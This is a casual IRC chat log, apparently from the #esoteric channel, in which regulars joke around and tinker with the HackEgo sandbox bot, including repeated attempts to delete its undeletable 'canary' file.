01:15:36 <oerjan> on thanksgiving most of the turkeys are eating to prevent them evolving into the fearsome turduckens
01:15:41 <oerjan> *eaten
01:16:26 <fizzie> As for days of the week, Monday is chickeniest: http://sprunge.us/chNb
01:16:28 <fizzie> But that's possibly influenced by timezones; there may be in UTC or in EET/EEST or in some sort of a mixture, I think there was a logging mishap for some period of time.
01:16:35 <fizzie> s/there/these/
01:16:52 <zzo38> boily: Yes, I guess so
01:17:05 <shachaf> The URL preview thing that comes with this computer refuses to preview text/plain pages.
01:17:18 <shachaf> "This preview cannot be safely displayed in Quick Look."
01:17:25 <shachaf> more like scow look
01:17:33 <zzo38> Why?
01:17:34 <shachaf> not safe? text/plain? come on
01:17:56 <zzo38> But text/plain is the only safe format!
01:18:27 <zzo38> (Anyways, you can add a question mark and name of syntax highlighting at the end of a sprunge URL if you want it in HTML format, I think.)
01:19:12 <shachaf> But this URL preview thing is mainly useful for clicking on a URL.
01:19:20 <shachaf> If I typed it in it would defeat most of the purpose.
01:19:59 <shachaf> zzo38: Anyway, there are plenty of other safe format.
01:20:18 <shachaf> For example, application/activex
01:21:10 <zzo38> No it isn't, just text/plain would be. And any format that "cannot be safely displayed" should be interpreted as text/plain so that it can be displayed anyways
01:21:34 <shachaf> text/plain with what encoding?
01:22:22 <zzo38> ASCII. (Possibly a few other encoding could be safely too, but it ought to nevertheless tell you what encoding.)
01:24:46 <shachaf> @time rntz
01:24:46 <lambdabot> Local time for rntz is Fri Jun 3 20:24:46 2016
01:25:01 <shachaf> rntz: i find that dubious hth
01:25:49 <oerjan> <izabera> crappy pic tho <-- you'd think that's a feature
01:27:32 <oerjan> shachaf: what's dubious about it?
01:28:11 <shachaf> Last I heard rntz is at bham.ac.uk.
01:28:13 <oerjan> that's that atlantic time zone, isn't it
01:28:20 <oerjan> shachaf: his ip is comcast?
01:29:00 <shachaf> `` allquotes | shuf | sport
01:29:16 <HackEgo> 1/495:1169) <Sgeo> Ugh still hungry <Sgeo> After having a ball of salt (not a literal ball of salt0 <pikhq> Try a literal ball of salt. \ 1160) <oerjan> `quote 1146 <HackEgo> 1146) <oerjan> OKAY \ 977) <kmc> i'm not actually competent at hacking things <elliott> ummmmmmmmm kmc dont u mean `cracking' [tiny glider symbol with "hacker pri
01:29:22 <oerjan> shachaf: has it occured to you that the | sport there is essentially just adding noise
01:29:32 <shachaf> oerjan: and my ip is fremont but i don't live in fremont hth
01:29:40 <oerjan> shocking
01:29:42 <shachaf> oerjan: Only if I don't look at the next line.
01:30:05 <shachaf> For example right now I want to see how that quote ends.
01:30:09 <oerjan> shachaf: well i suppose you get the rest of any cut off ones hm
01:30:15 <shachaf> `spam
01:30:17 <HackEgo> 2/495:de" written next to it in silkscreen] [head of a gnu] [tux penguin] <kmc> [face shoved in toilet] \ 1166) <fizzie> fungot: Can you write your own page? <fungot> fizzie: what is how? i assume, at least one snake? \ 970) <kmc> i don't know what that is so i'm going to assume it's a flavor of pocky \ 625) <oerjan> wolfram armaged
01:30:26 <shachaf> The name "spam" makes me feel slightly guilty when I use it.
01:30:44 <oerjan> it does look spammy
01:31:01 <oerjan> it makes me less likely than normal to actually read the output
01:31:39 <oerjan> quote overdose
01:32:11 <shachaf> quoverdose
01:32:36 <shachaf> Anyway the design here is that we leave those quotes in the spout.
01:32:51 <shachaf> Then anyone can `spam for a dose of quotes that never repeat.
01:33:54 <boily> `spam
01:33:56 <HackEgo> 3/495:don, the genius overlord game \ 1062) <kmc> are you a hardcore PC gamer Sgeo_ <Sgeo_> Want to be \ 243) <tswett> There are white Africans out there, but, you know. A black swan in the hand does not imply causation. \ 1252) <fizzie> I was watching a pair of otters, and somehow the name "Harry P. Otter" hasn't left my brain sinc
01:34:01 <shachaf> don't spam, boily
01:34:09 <boily> okay.
01:34:13 <zzo38> `unspam
01:34:15 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: unspam: not found
01:34:29 <shachaf> Quote 1062 is pretty good, though.
01:34:51 <zzo38> shachaf: Are you sure?
01:35:27 <shachaf> I wish someone would fix up sport to try to end chunks on a newline if possible.
01:35:31 <rntz> oerjan shachaf: my irc server is in a different timezone than I am
01:35:33 <shachaf> (fizzie this means you)
01:35:43 <shachaf> rntz: I figured.
01:35:49 <rntz> "irc server" meaning, not my irc server, but the server that runs my irc client
01:36:01 <rntz> i,i the client/server adjunction
01:36:04 <boily> `` echo `spam
01:36:06 <shachaf> IRC client server.
01:36:06 <HackEgo> ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching ``' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file
01:36:14 <boily> `` echo \`spam
01:36:16 <HackEgo> ​`spam
01:36:56 <shachaf> rntz: If you like adjunctions you must be a big fan of Chu spaces.
01:37:10 <shachaf> Chu spaces are all about adjunctions.
01:37:17 <zzo38> Instead of spam now you need to make spam and eggs and eggs and spam.
01:37:25 <shachaf> If I understand Chu spaces, perhaps I'll understand the true nature of adjunctions.
01:37:28 <shachaf> (Or vice versa.)
01:47:24 <oerjan> shachaf: maybe the true nature of adjunctions will understand you instead
01:47:39 <hppavilion[1]> That moment when you're fiddling with MC command blocks and you forget about exponential growth
01:49:06 <hppavilion[1]> Specifically, I made a device that summons a column of TNT with a 110 tick fuse (a tick is 1/20 seconds) above every entity in the world by 100 units
01:49:38 <hppavilion[1]> It does this by summoning a block of primed TNT with the fuse 100 units above each entity every tick for 1.5 seconds
01:49:47 <hppavilion[1]> I forgot that the primed TNT itself counts as an entity
01:50:21 <hppavilion[1]> So for 30 generations, it was doubling the number of entities in the world
01:51:24 <hppavilion[1]> So for a 20 entity world, if I hadn't crashed, there would've been 21474836480 entities in the world
01:52:09 <hppavilion[1]> 0.9999999999906868% of them would be TNT, and TNT by nature (exploding and deleting a random pattern of blocks) is /very/ laggy on detonation
01:55:47 -!- Phantom_Hoover has quit (Remote host closed the connection).
02:08:05 -!- boily has quit (Quit: UNTOLD CHICKEN).
02:27:03 -!- MDream has changed nick to MDude.
02:27:53 -!- augur has joined.
03:07:18 <hppavilion[1]> ...OK, what the fuck SMBC forums
03:07:41 <hppavilion[1]> Their safety question to keep out spambots is a piece of trivia that you don't necessarily have memorized
03:07:53 <hppavilion[1]> "What's the nerdiest possible thing you could name your child?"
03:10:16 <hppavilion[1]> Seriously, what the hell?
03:11:43 <hppavilion[1]> Apparently it's "Ada Marie"
03:12:36 <hppavilion[1]> Now I have to close all SMBC-related tabs in the hope that the session ends when my cookies are cleared (I have SDC)
03:14:24 <hppavilion[1]> Jesus
03:14:59 <hppavilion[1]> Oh, AND they need an administrator to approve accounts
03:20:58 <hppavilion[1]> I think Godel fucked up bitcoin
03:21:48 <oerjan> hm bitcoin is still climbing
03:21:54 <oerjan> (what's SDC?)
03:25:29 <hppavilion[1]> oerjan: Self-Destructing Cookies
03:25:36 <hppavilion[1]> oerjan: The most delicious way to be assassinated
03:27:00 <oerjan> thausible.
03:27:25 <oerjan> although have you tried nitroglycerin ice cream
03:27:49 <shachaf> `? thausible
03:28:11 <HackEgo> thausible? ¯\(°​_o)/¯
03:33:27 <hppavilion[1]> Ooooh, s/force/horse/ has been overthrown!
03:35:18 <oerjan> wat.
03:35:55 <hppavilion[1]> oerjan: The latest xkcd
03:36:14 * oerjan thought he had read that
03:36:24 <hppavilion[1]> oerjan: Randall has a new favourite web substitution. His favourite used to be s/force/horse/, but now it's s/cat/my friend Catherine/
03:36:57 <hppavilion[1]> Wait...
03:37:17 <hppavilion[1]> Isn't s/car/cat/ in an official xkcd web standard already?
03:37:39 <hppavilion[1]> "MY CAR GOT STOLEN" -> "MY CAT GOT STOLEN" -> "MY FRIEND CATHERINE GOT STOLEN"
03:38:24 <oerjan> did the robber use horse
03:38:54 <hppavilion[1]> oerjan: Yes, and they disabled the atomic alarm
03:39:40 <oerjan> OKAY
03:40:00 <hppavilion[1]> oerjan: These dudes I know report that the suspect looked like Elf-Lord Newtonstein; the elf-lord is guilty and everybody knows it
03:40:19 <hppavilion[1]> This may seriously damage his chances in the next eating contest
03:43:59 <oerjan> you realize i have no idea what you're referring to and am too lazy to find out
03:44:28 <oerjan> oh hm
03:45:21 <shachaf> oerjan: `? thausible twh
03:45:33 * oerjan wasn't too lazy anyway
03:45:37 <oerjan> `? thausible
03:45:49 <HackEgo> thausible? ¯\(°​_o)/¯
03:45:57 <oerjan> shachaf: hth
03:47:14 <shachaf> that helped -- and, understandably, seems indescribably blatant, like Edinburgh
03:48:03 <oerjan> i could be more Glaswegian -----###
03:50:16 <shachaf> `? wegian
03:50:19 <HackEgo> wegian? ¯\(°​_o)/¯
03:51:21 <shachaf> `learn A wegian is an equivalence class of #esoteric members. There are two main wegians, the Nor (from Finland) and the Glas (from Hexham).
03:51:27 <HackEgo> Learned 'wegian': A wegian is an equivalence class of #esoteric members. There are two main wegians, the Nor (from Finland) and the Glas (from Hexham).
03:51:32 <shachaf> `sedlast s/member/regular/
03:51:42 <HackEgo> wisdom/wegian//A wegian is an equivalence class of #esoteric regulars. There are two main wegians, the Nor (from Finland) and the Glas (from Hexham).
03:53:06 <shachaf> I wonder whether adding transactions (with commit/rollback) to HackEgo, implemented using hgignore, would be useful.
03:53:57 <shachaf> `rm wisdom/wegian
03:54:00 <HackEgo> No output.
03:55:20 * oerjan reminds shachaf that .hgignore doesn't work on files that are already tracked hth hth
03:55:32 <oerjan> stupid /me exception
03:55:53 <hppavilion[1]> Looks like there's also "galwegian"
03:56:23 <shachaf> Sure, lots of wegians.
03:56:47 <hppavilion[1]> shachaf: No, there's only those 3 though
03:56:54 <shachaf> No, there are others.
03:56:54 <hppavilion[1]> http://www.thefreedictionary.com/words-containing-wegian
03:57:26 <hppavilion[1]> shachaf: Such as?
03:58:07 <hppavilion[1]> Wait, how are the Norwegian from Finland? I thought that Finland =/= Norway
03:58:27 <hppavilion[1]> (Also, is the proper plural or "Norwegian" "Norwegian" or "Norwegians"?)
03:58:43 <shachaf> Well, they're from Finland, but now they're Norwegian.
03:58:54 <shachaf> Those aren't incompatible.
04:08:26 <oerjan> with s hth
04:08:47 <oerjan> when used as a noun.
04:25:52 <shachaf> When are the codu logs coming back?
04:26:34 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
04:26:57 <oerjan> when Gregor fixes it
04:27:05 <oerjan> >_>
04:27:32 <shachaf> Gregor: cod u fix it twh
05:01:15 -!- augur has quit (Remote host closed the connection).
05:33:33 -!- Kaynato has quit (Ping timeout: 246 seconds).
06:04:03 -!- Melvar has joined.
06:17:51 -!- moon_ has joined.
06:18:18 <moon_> is it considered strange for me to join using a wii u?
06:19:58 <oerjan> *GASP*
06:20:10 <oerjan> wii u do such a thing
06:22:32 -!- hppavilion[1] has joined.
06:23:30 <moon_> it has a browser, yes
06:23:59 <moon_> its also slowing my typing alot
06:24:36 <Elronnd> how would one type on a wii u?
06:25:22 <moon_> the gamepad
06:27:32 <Elronnd> so
06:27:33 <Elronnd> like
06:27:38 <Elronnd> you move the cursor around on the screen
06:27:39 <moon_> so is it wierd?
06:27:44 <Elronnd> to bring it to each key?
06:27:51 <Elronnd> *phew*
06:27:57 <Elronnd> for a moment I thought I had fucked up the patch
06:28:03 <Elronnd> but it was just a misplaced brace
06:28:32 <moon_> now, i get a digital keyboard like the one in tablets to use.
06:28:40 <moon_> *no
06:28:47 <Elronnd> touchscreen?
06:29:06 <moon_> mhm, the gamepqd is touchscreen.
06:29:18 <moon_> damn slow keybard.
06:29:27 <moon_> ._.
06:30:13 <moon_> also, you all are on tv, say hi
06:32:48 <moon_> )=
06:33:59 <moon_> `ls
06:34:24 <HackEgo> ​!\.´ \ advice \ bin \ canary \ cdescs \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ logs \ misle \ paste \ ply-3.8 \ ps \ quine \ quines \ quotes \ share \ src \ theorems \ tmflry \ tmp \ wisdom \ wisdom.pdf
06:34:35 <moon_> `blame elronnd
06:34:36 <HackEgo> It was tswett's fault! Punish them!
06:34:42 <moon_> ...
06:34:58 <moon_> `blame2 elronnd
06:34:59 <HackEgo> It was elronnd's fault! Punish them!
06:35:46 <moon_> `cat canary
06:36:27 <HackEgo> tꙮst
06:36:48 <moon_> `rm canary
06:36:50 <HackEgo> No output.
06:38:17 <oerjan> `cat canary
06:38:20 <HackEgo> tꙮst
06:38:35 * oerjan whistles innocently
06:40:18 <moon_> `` rm canary; cat canary
06:40:22 <HackEgo> cat: canary: No such file or directory
06:40:32 <oerjan> `cat canary
06:40:33 <moon_> bad oerjan
06:40:35 <HackEgo> tꙮst
06:40:53 <moon_> `rm canary
06:40:56 <HackEgo> No output.
06:40:58 <oerjan> `cat canary
06:41:02 <HackEgo> tꙮst
06:41:09 <moon_> ............
06:41:20 <moon_> baaaaaddd oerjan
06:41:33 <oerjan> i think you may be misinterpreting something
06:41:44 <moon_> `rm canary
06:41:47 <HackEgo> No output.
06:41:48 <oerjan> `cat canary
06:41:52 <HackEgo> tꙮst
06:42:23 <moon_> *steels the frying pan and bashes oerjan*
06:42:30 <moon_> `rm canaary
06:42:32 <HackEgo> rm: cannot remove `canaary': No such file or directory
06:42:47 <moon_> `rm canary
06:42:49 <HackEgo> No output.
06:43:02 -!- augur has joined.
06:43:12 <oerjan> `cat canary
06:43:14 <HackEgo> tꙮst
06:43:22 <moon_> gtfo canary, bad oerjan`
06:43:30 <moon_> `rm canary
06:43:32 <HackEgo> No output.
06:43:44 <oerjan> `file canary
06:43:49 <HackEgo> canary: UTF-8 Unicode text
06:44:13 <moon_> .......!
06:44:28 * oerjan thinks moon_ is a bit slow
06:44:37 <moon_> `mk canary//moonerride
06:44:42 <HackEgo> canary
06:44:46 <oerjan> `cat canary
06:44:47 <HackEgo> moonerride
06:44:56 <moon_> im using a wii u for some insane reason
06:45:07 <oerjan> `rm canary
06:45:11 <HackEgo> No output.
06:45:24 <shachaf> `` [ -e tmp/blah ] && mv canary tmp/ || touch tmp/blah
06:45:28 <HackEgo> No output.
06:45:32 <moon_> `cat canary
06:45:34 <HackEgo> moonerride
06:46:19 -!- moon__ has joined.
06:46:26 <moon__> wiis hate me
06:46:34 <moon__> `cat canary
06:46:36 <HackEgo> moonerride
06:46:57 * moon__ has gone bleeping mad
06:47:07 <oerjan> `cat tmp/blah
06:47:08 <HackEgo> cat: tmp/blah: No such file or directory
06:47:26 <oerjan> moon__: it's a magical file that cannot be permanently deleted hth
06:47:35 <moon__> ...
06:48:01 <moon__> who made the trigger on modify script?
06:48:10 <oerjan> Gregor, the bot owner
06:48:19 <oerjan> it's outside the sandbox
06:48:43 <moon__> ` mkdir canary
06:48:45 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
06:48:55 <oerjan> moon__: um we did that once
06:48:59 <moon__> `mkdir canary
06:49:00 <HackEgo> mkdir: cannot create directory `canary': File exists
06:49:06 <moon__> ...
06:49:10 <oerjan> it broke a lot of things.
06:49:22 <moon__> oh.
06:49:27 <oerjan> in fact, it's the reason why `revert _still_ gives an error message.
06:49:39 <oerjan> (that's otherwise harmless)
06:49:46 -!- moon_ has quit (Ping timeout: 250 seconds).
06:49:56 <shachaf> `` rm canary; mkfifo canary
06:50:00 <HackEgo> No output.
06:50:03 <moon__> `mk tmp/canary
06:50:07 <HackEgo> usage: mk[x] file//contents
06:50:22 <oerjan> `file canary
06:50:23 <HackEgo> canary: ASCII text
06:50:29 <oerjan> `cat canary
06:50:30 <HackEgo> moonerride
06:50:55 <moon__> `mk tmp/canary//canaryd
06:50:56 <HackEgo> tmp/canary
06:51:01 <oerjan> shachaf: iirc it may check for that, but somehow doesn't check for it being a directory
06:51:12 <moon__> `rm tmp/canary
06:51:14 <HackEgo> No output.
06:51:24 <moon__> `cat tmp/canary
06:51:25 <HackEgo> cat: tmp/canary: No such file or directory
06:51:35 <shachaf> oerjan: Is it running the code in https://bitbucket.org/GregorR/hackbot/pull-requests/2/transactional-hackego/diff ?
06:51:40 <oerjan> moon__: it only applies to the particular one
06:51:44 <shachaf> If so, I think it's just that hg fails to commit a fifo.
06:51:49 <moon__> that makes me feel better
06:52:02 <oerjan> shachaf: maybe.
06:52:40 <moon__> if only i could `bash tmp/oerjan
06:52:48 <oerjan> shachaf: i've not exactly tried to read that code
06:52:52 <moon__> that would kill my stress
06:53:08 <oerjan> moon__: try @slap instead
06:53:28 <moon__> @slap oerjan
06:53:28 <lambdabot> stop telling me what to do
06:53:37 <oerjan> lambdabot: now you're just being unhelpful
06:53:48 <oerjan> (it's a bit random)
06:54:08 * moon__ has gone berserk
06:54:16 <shachaf> can you go berserk somewhere else please
06:54:21 <shachaf> you always do it in here
06:54:53 <moon__> ut im not using cmds )=
06:55:34 * oerjan lends moon__ his saucepan ===\__/
06:56:03 <shachaf> Hmm, can you get race conditions?
06:56:05 <shachaf> `rm canary
06:56:05 <shachaf> `rm canary
06:56:06 <shachaf> `rm canary
06:56:06 <shachaf> `rm canary
06:56:09 <shachaf> `rm canary
06:56:10 <HackEgo> No output.
06:56:12 <shachaf> `rm canary
06:56:12 <HackEgo> No output.
06:56:13 <HackEgo> No output.
06:56:14 <shachaf> `rm canary
06:56:17 <shachaf> `rm canary
06:56:26 * moon__ saucepans shachaf ===\__/
06:56:44 <shachaf> I guess I should've tested that in /msg.
06:56:51 <shachaf> Since it's not likely to work anyway.
06:56:53 <moon__> no, commands are not ran parallel
06:56:58 <HackEgo> No output.
06:56:59 <HackEgo> No output.
06:57:00 <HackEgo> No output.
06:57:02 <HackEgo> No output.
06:57:03 <HackEgo> No output.
06:57:17 <shachaf> I thought I saw commands run in parallel once. But I never paid much attention.
06:57:30 <moon__> before sandbox, maybe
06:57:49 <oerjan> they still run in parallel if they're readonly
06:58:20 <shachaf> But I guess a writing command blocks readers?
06:59:03 <oerjan> it gets a lock on the second run
06:59:46 <oerjan> and does a checkout
06:59:46 <moon__> `kitten canary #lol i wish i could
06:59:47 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: kitten: not found
06:59:48 <shachaf> Right. I remember something about that now.
07:00:01 <oerjan> `? kitten
07:00:03 <HackEgo> kitten? ¯\(°​_o)/¯
07:00:07 <oerjan> `? kitt
07:00:12 <HackEgo> Kitt is the singular of kitten.
07:00:31 <moon__> its 'kit' dumbos
07:00:46 <shachaf> please don't be a jerk
07:00:52 <moon__> (=
07:01:07 <shachaf> insulting people and then smiling when they ask you to stop isn't endearing behavior
07:01:38 <moon__> sry : p, smile badly timed sarcasm
07:02:36 <moon__> i cannt type fast on a wii u.
07:04:04 <moon__> ... i killed chat.
07:04:15 <oerjan> BRAINS
07:04:25 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
07:04:47 <moon__> you just had to eat hppa.
07:05:08 <oerjan> very creative, good brain
07:05:41 <moon__> you will never eat me ===\___/
07:06:49 -!- hppavilion[1] has joined.
07:06:57 <oerjan> indeed, my stomach gets in trouble from blue cheese
07:07:13 <moon__> oerjan ate your brain. so he says.
07:07:44 <oerjan> wait, is it supposed to be green in english too
07:07:58 <moon__> no
07:08:55 <oerjan> wikipedia says it is?
07:08:58 <moon__> http://www.bay12forums.com/smf/index.php?topic=158502.msg7031617#msg7031617
07:10:10 <moon__> i certainly know, ive seen it everywhere, it is not opposite moment!
07:11:48 <oerjan> https://s-media-cache-ak0.pinimg.com/736x/41/c6/ee/41c6ee91f63bdc973d721399013566f7.jpg
07:13:06 <shachaf> `echo yranac > canary
07:13:18 <HackEgo> yranac > canary
07:13:23 <shachaf> thx tdh
07:13:29 <shachaf> `` echo yranac > canary
07:13:30 <moon__> omeone else *cough* did some questionable(of both sanity and accuracy) internet research and came up with a corgi puppy giving a tad under 250 ml of blood.  So it would take 4 corgi puppies to get a liter of blood.  
07:13:33 <HackEgo> No output.
07:13:45 <moon__> from bay12 forums
07:14:41 <moon__> dur
07:14:52 <moon__> hur dur dur
07:15:01 <moon__> dur hur
07:15:11 <moon__> huuuur?
07:15:18 <moon__> dur!
07:15:20 <shachaf> stop it
07:15:22 <b_jonas> `? hurr durr
07:16:16 <HackEgo> hurr durr? ¯\(°​_o)/¯
07:16:21 <moon__> ...
07:18:20 <moon__> `? moon_
07:18:29 <HackEgo> moon_? ¯\(°​_o)/¯
07:18:44 <moon__> )=
07:19:10 <oerjan> `? moon
07:19:38 <oerjan> i think HackEgo is slow again
07:19:40 -!- moon__ has quit (Quit: Page closed).
07:19:47 <shachaf> that might be me hth
07:20:35 <oerjan> `? shachaf
07:20:43 <oerjan> wait...
07:21:09 <oerjan> `run echo hi
07:21:22 -!- moon_ has joined.
07:21:22 <moon_> durp
07:21:27 <HackEgo> hi
07:21:28 -!- moon_ has quit (Client Quit).
07:22:00 <HackEgo> shachaf sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. The unit of fun punnery is named after him.
07:22:03 <HackEgo> Moon is a person, not an unretroreflectorey object.
07:22:09 -!- moon_ has joined.
07:22:15 <moon_> hurp
07:22:29 -!- moon_ has quit (Client Quit).
07:22:57 -!- moon_ has joined.
07:23:06 <moon_> dfffu
07:23:11 -!- moon_ has quit (Client Quit).
07:23:22 <\oren\> moon_: your connection is terrible
07:23:26 <oerjan> very incoherent today
07:23:42 <shachaf> `file canary
07:23:43 <HackEgo> canary: ASCII text
07:23:46 -!- moon_ has joined.
07:23:48 <moon_> urgh
07:23:48 <\oren\> moon_: your connection is terrible
07:23:54 <shachaf> Oops.
07:24:11 <moon_> no, i keep hitting the previous page button
07:24:20 <shachaf> `revert
07:24:23 <oerjan> did shachaf kill HackEgo again
07:24:30 <\oren\> use a real irc client hth
07:24:31 <moon_> maybe?
07:24:39 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
07:24:41 <moon_> lol im on a wii u
07:24:46 <moon_> how
07:24:52 <\oren\> WUT
07:24:59 <shachaf> `cat canary
07:25:00 <HackEgo> No output.
07:25:09 <oerjan> `file canary
07:25:10 <HackEgo> canary: empty
07:25:15 <moon_> yes i am fliping insane
07:25:17 <shachaf> ok
07:25:22 <oerjan> `where file
07:25:35 <shachaf> It's just empty.
07:25:41 <oerjan> oh.
07:25:49 <moon_> `mk canary//nope
07:25:50 <oerjan> d'üh
07:25:57 <HackEgo> canary
07:25:57 <shachaf> Come on.
07:25:59 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: where: not found
07:26:04 <shachaf> `run rm canary; touch canary
07:26:07 <HackEgo> No output.
07:26:09 <oerjan> hm
07:26:14 <oerjan> `rm fnord
07:26:17 <HackEgo> rm: cannot remove `fnord': No such file or directory
07:26:22 <\oren\> `? canary
07:26:24 <HackEgo> No output.
07:26:29 <oerjan> `cat fnord
07:26:52 <\oren\> `? fnord
07:26:53 <oerjan> shëësh
07:26:57 <HackEgo> ​? ¯\(°​_o)/¯
07:26:59 <HackEgo> cat: fnord: No such file or directory
07:27:04 <moon_> hackego is broken in so many ways already
07:27:09 -!- moon_ has quit (Client Quit).
07:27:41 -!- moony has joined.
07:27:48 <moony> i hate the wii u gamepad now
07:28:19 <oerjan> `quote pumpkin seeds
07:28:20 <HackEgo> 437) <fungot> Phantom_Hoover: it is a hate so pure and... pumpkin seeds?
07:30:23 <moony> `ls
07:30:53 <HackEgo> ​!\.´ \ advice \ bin \ canary \ cdescs \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ logs \ misle \ paste \ ply-3.8 \ ps \ quine \ quines \ quotes \ share \ src \ theorems \ tmflry \ tmp \ wisdom \ wisdom.pdf
07:31:56 <oerjan> `file logs
07:32:32 <HackEgo> logs: empty
07:35:13 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
07:36:26 <oerjan> `culprits logs
07:36:46 <HackEgo> xfix xfix
07:37:22 <oerjan> `` hg log logs | grep Summary:
07:37:24 <HackEgo> No output.
07:37:27 <oerjan> argh
07:37:39 <oerjan> `` hg log logs | grep Summary
07:37:43 <HackEgo> No output.
07:37:48 <oerjan> *sigh*
07:37:52 <oerjan> `cat bin/culprits
07:38:07 <shachaf> `` hg log logs | grep summary: # hth
07:38:22 <shachaf> Though I type that often enough that it really ought to get its own command or something.
07:38:30 <HackEgo> summary: <xfix> cd perl-5.22.2; nohup ./Configure -d -Dprefix=/hackenv > /hackenv/logs & \ summary: <xfix> cd perl-5.22.2; ./Configure -d -Dprefix=/hackenv > /hackenv/logs
07:38:32 <HackEgo> hg log --removed -- "$1" | grep summary: | sed "s/ +/ /g" | sed "s/^ //" | awk '{print substr($2,2,length($2)-2)}'| sed "s/.$/\x0F&/" | xargs
07:39:13 <xfix> `rm logs
07:39:20 <xfix> Forgot to remove that one, I guess?
07:39:26 <shachaf> whoa
07:39:28 <shachaf> `welcome xfix
07:39:51 <oerjan> i think e's been here a bit
07:39:52 <HackEgo> xfix: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
07:39:54 <HackEgo> No output.
07:40:08 <oerjan> like, long enough to try (and fail) to upgrade perl in HackEgo
07:40:17 <xfix> I tried to update Perl, and failed.
07:40:58 <oerjan> yeah you cannot run long-running commands
07:41:04 <oerjan> not even with nohup
07:41:33 <oerjan> (and i guess that would only be the first problem)
07:53:22 -!- augur has quit (Remote host closed the connection).
08:21:52 -!- lambda-11235 has quit (Quit: Bye).
08:22:33 -!- oerjan has quit (Quit: Nite).
08:35:47 -!- xkapastel has quit (Quit: Connection closed for inactivity).
09:15:59 -!- zadock has joined.
09:19:45 -!- zadock has left.
09:31:33 -!- Phantom_Hoover has joined.
09:50:02 -!- gamemanj has joined.
10:11:11 -!- hppavilion[1] has joined.
10:14:25 <hppavilion[1]> Hm.
10:14:28 <hppavilion[1]> For some reason
10:15:07 <hppavilion[1]> I just calculated that the odds of a single, worldwide sneeze (that is, every human on earth sneezes at the same time- within the same second) are 5.2345140545750255095729057789677877107902000024178184273063118452216398192830384321642665672586107071499738573951676069816850719055839882135729586168861337085743787119721991366279460690571913008155670283808735608620… × 10^-37943769263
10:40:27 <shachaf> `spam
10:40:36 <HackEgo> 4/495:e. \ 794) <fizzie> Backups are so like one of those circus guys walking on a wire except with a safety rope. \ 187) <j-invariant> 22:55 < qfr> How am I supposed to develop software in Haskell if I can't even prepare my projects in UML?! It seems like an impossible task. <j-invariant> HAHA [...] <j-invariant> this is amazing, l
10:40:51 <shachaf> `spam
10:40:52 <HackEgo> 5/495:ike meeting a Mormon or something \ 633) <elliott> right: you didn't find out you were wrong, just right in a way we failed to consider. <elliott> if only every wrong person could be so lucky \ 1125) <Sgeo> I designed a norn to drop dead instantly if he ever thought about eating elevators. He was stillborn. \ 171) <elliott> qui
10:41:46 <shachaf> `mkx bin/5//for i in {1..5}; do quote; done | sport
10:41:51 <HackEgo> bin/5
10:41:53 <shachaf> `5
10:41:59 <HackEgo> 1/2:80) <AnMaster> fungot!*@* added to ignore list. <fungot> AnMaster: i'd find that a bit annoying to wait for an ack. \ 923) <jconn> fungot: |open quote <jconn> fungot: | just to help an fnord archive)" [...] <fungot> jconn: i am just as confused. you know, that thing which you might want is broken \ 470) <Taneb> I think it'
10:42:03 <shachaf> `spam
10:42:04 <HackEgo> 2/2:s fizzie against everyone atm <Taneb> AND EVERYONE IS WINNING <Taneb> EXCEPT FIZZIE \ 524) <Sgeo> Can you build the ... why wouldn't you be able to, just and all the computables \ 34) <fizzie> Seconds. 30 of them. Did I forget the word? \
10:51:12 <hppavilion[1]> I just explained derivatives to someone
10:51:19 <hppavilion[1]> I feel so proud of myself
10:51:26 <hppavilion[1]> Now I should probably go learn calculus
10:51:50 <hppavilion[1]> `ps
10:51:52 <HackEgo> ​ PID TTY TIME CMD \ 286 ? 00:00:00 init \ 288 ? 00:00:00 sh \ 290 ? 00:00:00 ps \ 291 ? 00:00:00 cat
10:51:58 <hppavilion[1]> `? brainfuck
10:52:01 <HackEgo> brainfuck is the integral of the family of terrible esolangs. The name is a euphemism for "beef". bf -c -t "+>+++++>+++" | mklang --array
10:52:09 <hppavilion[1]> `derivative brainfuck
10:52:10 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: derivative: not found
10:52:24 <hppavilion[1]> Dammit, I was hoping it would say "The family of terrible esolangs"
10:53:55 <hppavilion[1]> >>> sin(brainfuck_derivatives)
10:54:00 <hppavilion[1]> True
10:56:15 <gamemanj> what an unusual sine function
10:57:46 <shachaf> `mkx bin/hog//hg log --template "{desc}\n" "$@"
10:57:48 <HackEgo> bin/hog
10:58:30 <hppavilion[1]> gamemanj: It's neither sine nor a function; it's a predicate that determines whether something is a mortal sin
10:58:37 <hppavilion[1]> >>> sin(lust)
10:58:39 <hppavilion[1]> True
10:58:47 <hppavilion[1]> >>> sin(wrath)
10:58:48 <hppavilion[1]> True
10:58:51 <shachaf> Wait, what's wrong with lust and wrath?
10:58:55 <hppavilion[1]> >>> sin(slavery)
10:58:55 <gamemanj> >>> sin(attempting_to_perform_human_alchemy)
10:58:56 <hppavilion[1]> False
10:59:11 <shachaf> Anyway, if you want to learn calculus, just read https://cr.yp.to/papers/calculus.pdf
10:59:21 <hppavilion[1]> shachaf: Best. URL. Ever.
10:59:25 <shachaf> It's 12 pages long and it'll teach you everything you need to know.
11:00:05 <gamemanj> hppavilion[1]: your predictate hasn't given an answer yet...
11:00:24 <hppavilion[1]> gamemanj: It recognizes my voice and only responds to commands from me
11:00:50 <gamemanj> So it's not just completely fake then?
11:01:12 <gamemanj> Anyway, on my behalf, could you ask the predictate if "attempting to perform human alchemy" is a sin?
